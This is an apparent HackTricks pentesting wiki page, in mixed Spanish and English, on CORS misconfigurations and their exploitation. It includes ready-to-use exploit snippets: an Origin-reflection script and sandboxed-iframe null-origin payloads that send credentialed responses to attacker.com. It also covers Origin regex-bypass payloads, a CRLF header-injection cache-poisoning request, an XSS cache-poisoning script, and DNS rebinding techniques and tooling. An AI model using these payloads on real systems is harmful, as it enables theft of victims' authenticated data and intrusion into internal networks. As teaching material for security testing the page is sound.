CORS - Misconfigurations & Bypass

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

What is CORS?

Cross-Origin Resource Sharing (CORS) standard permite a los servidores definir quién puede acceder a sus assets y qué métodos HTTP request están permitidos desde fuentes externas.

Una política de same-origin exige que un servidor que solicita un recurso y el servidor que aloja el recurso compartan el mismo protocolo (p. ej., http://), nombre de dominio (p. ej., internal-web.com) y port (p. ej., 80). Bajo esta política, solo las páginas web del mismo domain y port tienen acceso a los recursos.

La aplicación de la política same-origin en el contexto de http://normal-website.com/example/example.html se ilustra de la siguiente manera:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.

Access-Control-Allow-Origin Header

Este header puede permitir multiple origins, un valor null o un wildcard *. Sin embargo, ningún browser soporta multiple origins, y el uso del wildcard * está sujeto a limitations. (El wildcard debe usarse solo, y no se permite su uso junto con Access-Control-Allow-Credentials: true.)

Este header es issued by a server en respuesta a una cross-domain resource request iniciada por un website, y el browser añade automáticamente un header Origin.

Access-Control-Allow-Credentials Header

Por default, las cross-origin requests se realizan sin credentials como cookies o el header Authorization. Sin embargo, un cross-domain server puede permitir la lectura de la respuesta cuando se envían credentials estableciendo el header Access-Control-Allow-Credentials en true.

Si se establece en true, el browser transmitirá credentials (cookies, authorization headers, o TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Entendiendo las solicitudes Pre-flight en la comunicación entre dominios

Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un método HTTP no estándar (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos headers, o emplear un valor especial de Content-Type header, puede ser necesaria una solicitud pre-flight. Esta solicitud preliminar, que utiliza el método OPTIONS, sirve para informar al servidor sobre las intenciones de la futura solicitud cross-origin, incluyendo los métodos HTTP y headers que pretende usar.

El protocolo Cross-Origin Resource Sharing (CORS) exige esta comprobación pre-flight para determinar la viabilidad de la operación cross-origin solicitada verificando los métodos permitidos, los headers y la confiabilidad del origin. Para una comprensión detallada de qué condiciones evitan la necesidad de una solicitud pre-flight, consulta la guía completa proporcionada por Mozilla Developer Network (MDN).

Es crucial señalar que la ausencia de una solicitud pre-flight no elimina el requisito de que la respuesta lleve authorization headers. Sin estos headers, el navegador queda incapacitado para procesar la respuesta de la solicitud cross-origin.

Considera la siguiente ilustración de una solicitud pre-flight destinada a emplear el método PUT junto con un header personalizado llamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En respuesta, el servidor podría devolver headers que indiquen los métodos aceptados, el origin permitido y otros detalles de la policy CORS, como se muestra a continuación:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Este encabezado especifica qué headers se pueden usar durante la solicitud real. El servidor lo establece para indicar los headers permitidos en solicitudes del cliente.
  • Access-Control-Expose-Headers: A través de este encabezado, el servidor informa al cliente sobre qué headers pueden exponerse como parte de la respuesta, además de los simple response headers.
  • Access-Control-Max-Age: Este encabezado indica durante cuánto tiempo se pueden cachear los resultados de una pre-flight request. El servidor establece el tiempo máximo, en segundos, durante el cual la información devuelta por una pre-flight request puede reutilizarse.
  • Access-Control-Request-Headers: Usado en pre-flight requests, este encabezado es establecido por el cliente para informar al servidor sobre qué headers HTTP quiere usar el cliente en la solicitud real.
  • Access-Control-Request-Method: Este encabezado, también usado en pre-flight requests, es establecido por el cliente para indicar qué método HTTP se usará en la solicitud real.
  • Origin: Este encabezado es establecido automáticamente por el browser e indica el origin de la cross-origin request. El servidor lo usa para evaluar si la solicitud entrante debe permitirse o denegarse según la política de CORS.

Ten en cuenta que normalmente (dependiendo del content-type y de los headers establecidos) en una GET/POST request no se envía ninguna pre-flight request (la solicitud se envía directamente), pero si quieres acceder a los headers/body de la response, esta debe contener un header Access-Control-Allow-Origin que lo permita.
Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).

Local Network Requests Pre-flight request

Los browsers modernos y el borrador actual de Private Network Access (PNA) usan los headers Access-Control-Request-Private-Network: true en el preflight y Access-Control-Allow-Private-Network: true en la response. Artículos antiguos y PoCs pueden seguir refiriéndose a nombres de headers Local-Network, pero para las pruebas actuales debes esperar las variantes Private-Network.

Una respuesta válida que permita la local network request también necesita incluir Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

Y la preflight request se verá similar a:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome’s PNA rollout changed several times during 2024. As of October 9, 2024, Chrome documented that PNA preflights were on hold because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the spec-compliant preflight flow and the older “works in practice because enforcement is incomplete” behavior.

Warning

Note that the linux 0.0.0.0 IP works to bypass these requirements to access localhost as that IP address is not considered “local”.

Chrome also documented that 0.0.0.0/8 is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.

It’s also possible to bypass the Local Network requirements if you use the public IP address of a local endpoint (like the public IP of the router). Because in several occasions, even if the public IP is being accessed, if it’s from the local network, access will be granted.

Wildcards

Note that even if the following configuration might look super permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Esto no está permitido por los browsers y, por lo tanto, las credentials no se enviarán con la request permitida por esto.

Misconfiguraciones explotables

Se ha observado que la configuración de Access-Control-Allow-Credentials en true es un requisito previo para la mayoría de los real attacks. Esta configuración permite que el browser envíe credentials y lea la respuesta, aumentando la eficacia del ataque. Sin esto, la ventaja de hacer que un browser realice una request en lugar de hacerlo uno mismo disminuye, ya que aprovechar las cookies de un usuario se vuelve inviable.

Excepción: Exploiting Network Location as Authentication

Existe una excepción en la que la ubicación de red de la víctima actúa como una forma de authentication. Esto permite usar el browser de la víctima como un proxy, eludiendo la authentication basada en IP para acceder a aplicaciones intranet. Este método comparte similitudes en impacto con DNS rebinding, pero es más fácil de explotar.

Reflection of Origin in Access-Control-Allow-Origin

El escenario real en el que el valor del header Origin se refleja en Access-Control-Allow-Origin es teóricamente improbable debido a restricciones para combinar estos headers. Sin embargo, los developers que buscan habilitar CORS para múltiples URLs pueden generar dinámicamente el header Access-Control-Allow-Origin copiando el valor del header Origin. Este enfoque puede introducir vulnerabilidades, especialmente cuando un attacker usa un dominio con un nombre diseñado para parecer legítimo, engañando así la lógica de validación.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Explotando el origen null

El origen null, especificado para situaciones como redirects o archivos HTML locales, ocupa una posición única. Algunas applications incluyer este origen en la whitelist para facilitar el desarrollo local, permitiendo sin darse cuenta que cualquier website imite un origen null mediante un iframe sandboxed, eludiendo así las restricciones de CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Técnicas de Bypass de Regular Expression

Al encontrarse con una whitelist de domain, es crucial probar oportunidades de bypass, como añadir el domain del atacante a un domain de la whitelist o explotar vulnerabilidades de subdomain takeover. Además, las regular expressions usadas para la validación de domain pueden pasar por alto matices en las convenciones de nombres de domain, lo que presenta más oportunidades de bypass.

Bypasses Avanzados de Regular Expression

Los patrones de Regex normalmente se centran en caracteres alfanuméricos, punto (.) y guion (-), ignorando otras posibilidades. Por ejemplo, un domain name diseñado para incluir caracteres interpretados de forma diferente por los browsers y los patrones de Regex puede eludir los controles de seguridad. El manejo de caracteres underscore en subdomains por parte de Safari, Chrome y Firefox ilustra cómo se pueden explotar estas discrepancias para eludir la lógica de validación de domain.

Para más información y settings de esta comprobación de bypass: https://www.corben.io/advanced-cors-techniques/ y https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Desde XSS dentro de un subdomain

Los developers suelen implementar mecanismos defensivos para proteger contra la explotación de CORS whitelisteando domains que tienen अनुमति para solicitar information. A pesar de estas precauciones, la seguridad del system no es infalible. La presencia de incluso un único subdomain vulnerable dentro de los domains de la whitelist puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrarlo, considera el escenario en el que un domain, requester.com, está en la whitelist para acceder a resources de otro domain, provider.com. La configuración del server-side podría parecerse a algo así:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

En esta configuración, todos los subdominios de requester.com tienen permitido el acceso. Sin embargo, si un subdominio, por ejemplo sub.requester.com, se ve comprometido con una vulnerabilidad XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a sub.requester.com podría explotar la vulnerabilidad XSS para bypass CORS policies y acceder maliciosamente a recursos en provider.com.

Special Characters

La URL validation bypass cheat sheet de PortSwigger encontró que algunos navegadores soportan caracteres extraños dentro de los nombres de dominio.

Chrome y Firefox soportan underscores _ que pueden bypass regexes implementadas para validar el header Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari es aún más permisivo aceptando caracteres especiales en el nombre de dominio:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Actualizaciones recientes a la cheat sheet de PortSwigger añadieron más payloads de domain splitting orientados a Safari que vale la pena fuzzear cuando el target valida el header Origin usando regexes o parsers de URL hechos a mano:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Estos son útiles cuando el backend solo comprueba si el origen suministrado empieza por o contiene el hostname de confianza, mientras que el browser sigue tratando el sufijo controlado por el atacante como el límite efectivo del origen.

Recuerda también que el origin fuzzing moderno no debe detenerse en los sufijos de hostname. La actual PortSwigger cheat sheet incluye familias de payloads para:

  • Domain allow-list bypasses: dominios controlados por el atacante que aun así satisfacen comprobaciones ingenuas de prefijo/sufijo/subcadena.
  • Fake-relative absolute URLs: URLs absolutas válidas para el browser que el código de la aplicación puede interpretar como relativas.
  • Loopback/IP normalizations: formas alternativas de IPv4/IPv6 útiles cuando la lógica de CORS intenta bloquear localhost, 127.0.0.1, o endpoints de cloud metadata mediante comparación de cadenas.

Otros trucos divertidos de URL

URL Format Bypass

Server-side cache poisoning

De esta investigación

Es posible que, explotando server-side cache poisoning mediante inyección de encabezados HTTP, se pueda inducir una vulnerabilidad de Cross-Site Scripting (XSS) almacenada. Este escenario se desarrolla cuando una aplicación no sanea el encabezado Origin para caracteres no permitidos, creando una vulnerabilidad especialmente para usuarios de Internet Explorer y Edge. Estos browsers tratan (0x0d) como un terminador válido de encabezado HTTP, lo que conduce a vulnerabilidades de HTTP header injection.

Considera la siguiente request donde se manipula el encabezado Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer y Edge interpretan la respuesta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Aunque explotar directamente esta vulnerabilidad haciendo que un web browser envíe un header malformado no es factible, se puede generar manualmente una request elaborada usando tools como Burp Suite. Este método podría llevar a que un cache del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. El payload elaborado busca alterar el character set de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades de XSS debido a su capacidad para codificar caracteres de una forma que puede ejecutarse como script en ciertos contextos.

Para más información sobre vulnerabilidades de stored XSS, consulta PortSwigger.

Note: La explotación de vulnerabilidades de HTTP header injection, en particular mediante server-side cache poisoning, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los HTTP headers. Emplea siempre un modelo de seguridad robusto que incluya validación de input para prevenir estas vulnerabilidades.

Client-Side cache poisoning

From this research

En este escenario, se observa una instancia de una web page que refleja el contenido de un custom HTTP header sin un encoding adecuado. Específicamente, la web page refleja de vuelta el contenido incluido en un header X-User-id, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el header contiene una SVG image tag diseñada para ejecutar código JavaScript al cargarse.

Las políticas de Cross-Origin Resource Sharing (CORS) permiten el envío de custom headers. Sin embargo, sin que la response sea renderizada directamente por el browser debido a las restricciones de CORS, la utilidad de una inyección así podría parecer limitada. El punto crítico surge al considerar el comportamiento del cache del browser. Si el header Vary: Origin no está especificado, es posible que la response maliciosa sea almacenada en cache por el browser. Posteriormente, esta response en cache podría renderizarse directamente al navegar a la URL, evitando la necesidad de renderizado directo en la request inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar el cache del lado del cliente.

Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ejecutarse en el entorno de una web page, como a través de JSFiddle. Este script realiza una acción simple: envía una request a una URL especificada con un custom header que contiene el JavaScript malicioso. Tras completarse correctamente la request, intenta navegar a la URL objetivo, lo que potencialmente dispara la ejecución del script inyectado si la response ha sido almacenada en cache sin un manejo adecuado del header Vary: Origin.

Aquí tienes un desglose resumido del JavaScript usado para ejecutar este ataque:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, también conocido como Cross-Site Script Inclusion, es un tipo de vulnerabilidad que aprovecha el hecho de que Same Origin Policy (SOP) no se aplica al incluir recursos usando la etiqueta script. Esto se debe a que los scripts necesitan poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que haya sido incluido usando la etiqueta script.

Esta vulnerabilidad cobra especial importancia cuando se trata de JavaScript dinámico o JSONP (JSON with Padding), especialmente cuando se usan datos de ambient-authority como cookies para autenticación. Al solicitar un recurso desde otro host, las cookies se incluyen, haciéndolas accesibles para el atacante.

Para entender mejor y mitigar esta vulnerabilidad, puedes usar el plugin de BurpSuite disponible en https://github.com/kapytein/jsonp. Este plugin puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web.

Read more about the difefrent types of XSSI and how to exploit them here.

Intenta añadir un callback parameter en la request. Quizá la página estaba preparada para enviar los datos como JSONP. En ese caso la página devolverá los datos con Content-Type: application/javascript, lo que bypass the CORS policy.

Easy (useless?) bypass

Una forma de bypass the Access-Control-Allow-Origin restriction es hacer que una aplicación web realice una request en tu nombre y te devuelva la response. Sin embargo, en este escenario, las credentials de la víctima final no se enviarán, ya que la request se hace a un dominio diferente.

  1. CORS-escape: Esta herramienta proporciona un proxy que reenvía tu request junto con sus headers, mientras además spoofing el Origin header para que coincida con el dominio solicitado. Esto effectively bypass the CORS policy. Aquí tienes un ejemplo de uso con XMLHttpRequest:
  2. simple-cors-escape: Esta herramienta ofrece un enfoque alternativo para proxying requests. En lugar de reenviar tu request tal cual, el server hace su propia request con los parámetros especificados.

Iframe + Popup Bypass

Puedes bypass CORS checks como e.origin === window.origin creando un iframe y, desde él, abriendo una nueva ventana. Más información en la siguiente página:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL es una técnica usada para bypass ciertas medidas de seguridad manipulando registros DNS. Así es como funciona:

  1. El atacante crea una web page y hace que la víctima acceda a ella.
  2. El atacante luego cambia el DNS (IP) de su propio dominio para que apunte a la web page de la víctima.
  3. El navegador de la víctima cachea la response DNS, que puede tener un valor TTL (Time to Live) indicando cuánto tiempo debe considerarse válido el registro DNS.
  4. Cuando el TTL expira, el navegador de la víctima hace una nueva request DNS, permitiendo al atacante ejecutar código JavaScript en la página de la víctima.
  5. Manteniendo el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar ninguna cookie al server de la víctima.

Es importante señalar que los browsers tienen mecanismos de caching que pueden impedir el abuso inmediato de esta técnica, incluso con valores TTL bajos.

DNS rebinding puede ser útil para bypass explicit IP checks realizados por la víctima o para escenarios en los que un usuario o bot permanece en la misma page durante un periodo prolongado, permitiendo que el cache expire.

Si necesitas una forma rápida de abusar de DNS rebinding, puedes usar servicios como https://lock.cmpxchg8b.com/rebinder.html.

Para ejecutar tu propio DNS rebinding server, puedes utilizar herramientas como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Esto implica exponer tu puerto local 53/udp, crear un registro A apuntando a él (por ejemplo, ns.example.com), y crear un registro NS apuntando al subdominio A creado previamente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com será entonces resuelto por tu host.

También puedes explorar un server público en ejecución en http://rebind.it/singularity.html para mayor comprensión y experimentación.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding es otra técnica usada para bypass el mecanismo de caching de los browsers y forzar una segunda request DNS. Así es como funciona:

  1. Inicialmente, cuando la víctima hace una request DNS, se responde con la dirección IP del atacante.
  2. Para bypass the caching defense, el atacante aprovecha un service worker. El service worker inunda el DNS cache, lo que efectivamente elimina el nombre de server del atacante cacheado.
  3. Cuando el navegador de la víctima hace una segunda request DNS, ahora se responde con la dirección IP 127.0.0.1, que normalmente se refiere a localhost.

Al inundar el DNS cache con el service worker, el atacante puede manipular el proceso de resolución DNS y forzar que el navegador de la víctima haga una segunda request, esta vez resolviendo a la dirección IP deseada por el atacante.

DNS Rebinding via Cache

Otra forma de bypass the caching defense es utilizando múltiples direcciones IP para el mismo subdomain en el proveedor DNS. Así es como funciona:

  1. El atacante configura dos registros A (o un único registro A con dos IPs) para el mismo subdomain en el proveedor DNS.
  2. Cuando un browser comprueba estos registros, recibe ambas direcciones IP.
  3. Si el browser decide usar primero la dirección IP del atacante, el atacante puede servir un payload que realiza HTTP requests al mismo domain.
  4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al browser de la víctima.
  5. El browser de la víctima, al darse cuenta de que el domain no responde, pasa a usar la segunda dirección IP proporcionada.
  6. Al acceder a la segunda dirección IP, el browser bypasses Same Origin Policy (SOP), permitiendo al atacante abusar de esto y recopilar y exfiltrar información.

Esta técnica aprovecha el comportamiento de los browsers cuando se proporcionan múltiples direcciones IP para un domain. Al controlar estratégicamente las respuestas y manipular la elección de dirección IP del browser, un atacante puede explotar el SOP y acceder a información de la víctima.

Warning

Ten en cuenta que para acceder a localhost deberías intentar rebind 127.0.0.1 en Windows y 0.0.0.0 en linux.
Proveedores como godaddy o cloudflare no me permitieron usar la ip 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas “0.0.0.0”

Para más información puedes consultar https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Si internal IPs aren’t allowed, pueden haber forgot forbidding 0.0.0.0 (funciona en Linux y Mac)
  • Si internal IPs aren’t allowed, responde con un CNAME a localhost (funciona en Linux y Ma
  • Si internal IPs aren’t allowed como DNS responses, puedes responder CNAMEs a internal services como www.corporate.internal.

DNS Rebidding Weaponized

Puedes encontrar más información sobre las técnicas de bypass anteriores y sobre cómo usar la siguiente herramienta en la charla Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin es una herramienta para realizar ataques de DNS rebinding. Incluye los componentes necesarios para rebind la dirección IP del DNS name del server de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH simplemente encapsula el formato clásico de DNS RFC1035 dentro de HTTPS (normalmente un POST con Content-Type: application/dns-message). El resolver sigue respondiendo con los mismos resource records, así que las técnicas que rompen el SOP siguen funcionando incluso cuando los browsers resuelven el hostname controlado por el atacante vía TLS.

Key observations

  • Chrome (Windows/macOS) y Firefox (Linux) consiguen rebind cuando se configuran para resolvers DoH de Cloudflare, Google o OpenDNS. El cifrado del transporte no retrasa ni bloquea el attack-flow para estrategias first-then-second, multiple-answers o DNS cache flooding.
  • Los resolvers públicos siguen viendo cada query, pero rara vez aplican la asignación host-to-IP que un browser debe respetar. Una vez que el authoritative server devuelve la secuencia de rebinding, el browser mantiene la origin tuple original mientras se conecta a la nueva IP.

Singularity strategies and timing over DoH

  • First-then-second sigue siendo la opción más fiable: la primera lookup devuelve la IP del atacante que sirve el payload, y cada lookup posterior devuelve la IP interna/localhost. Con los DNS caches típicos del browser esto invierte el tráfico en ~40–60 segundos, incluso cuando el recursive resolver solo es accesible por HTTPS.
  • Multiple answers (fast rebinding) sigue llegando a localhost en <3 segundos respondiendo con dos registros A (IP del atacante + 0.0.0.0 en Linux/macOS o 127.0.0.1 en Windows) y blackholing programáticamente la primera IP (por ejemplo, iptables -I OUTPUT -d <attacker_ip> -j DROP) poco después de que cargue la página. La implementación DoH de Firefox puede emitir queries DNS repetidas, así que la corrección de Singularity es programar la regla del firewall relativa a la marca de tiempo de la primera query en lugar de reiniciar el temporizador en cada query.

Beating “rebind protection” in DoH providers

  • Algunos providers (por ejemplo, NextDNS) sustituyen las respuestas privadas/loopback por 0.0.0.0, pero Linux y macOS enrutan gustosamente ese destino hacia servicios locales. Devolver intencionalmente 0.0.0.0 como segundo record sigue pivotando la origin a localhost.
  • Filtrar solo la respuesta directa A/AAAA es ineficaz: devolver un CNAME a un hostname solo interno hace que el public DoH resolver reenvíe el alias mientras browsers como Firefox hacen fallback al system DNS para la internal zone, completando la resolución a una private IP que sigue tratándose como la attacker origin.

Browser-specific DoH behavior

  • Firefox DoH opera en modo fallback: cualquier fallo de DoH (incluido un target CNAME no resuelto) activa una lookup en texto claro vía el OS resolver, que normalmente es un enterprise DNS server que conoce el internal namespace. Este comportamiento es lo que hace que el bypass con CNAME sea fiable dentro de corporate networks.
  • Chrome DoH solo se activa cuando el OS DNS apunta a un recursive resolver compatible con DoH en la whitelist (Cloudflare, Google, Quad9, etc.) y no proporciona la misma fallback chain. Los hostnames internos que solo existen en corporate DNS por tanto no se resuelven, pero el rebinding hacia localhost o cualquier dirección routable sigue funcionando porque el atacante controla todo el response set.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS y proporciona el endpoint DoH (Cloudflare y NextDNS vienen integrados). Chrome/Chromium: activa chrome://flags/#dns-over-https y configura los OS DNS servers a uno de los resolvers soportados por Chrome (por ejemplo, 1.1.1.1/1.0.0.1).
  • Puedes consultar APIs públicas DoH directamente, por ejemplo curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq para confirmar los exact records que los browsers cachearán.
  • Intercepting DoH en Burp/ZAP sigue funcionando porque no es más que HTTPS (payload DNS binario en el body). Para inspección a nivel de paquetes, exporta TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) antes de abrir el browser y deja que Wireshark descifre las sesiones DoH con el filtro de visualización dns para ver cuándo el browser permanece en DoH o hace fallback al DNS clásico.

Real Protection against DNS Rebinding

  • Usa TLS en internal services
  • Request authentication para acceder a datos
  • Valida el Host header
  • https://wicg.github.io/private-network-access/: Propuesta para enviar siempre una pre-flight request cuando los public servers quieran acceder a internal servers

Tools

Fuzz posibles misconfigurations en CORS policies

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks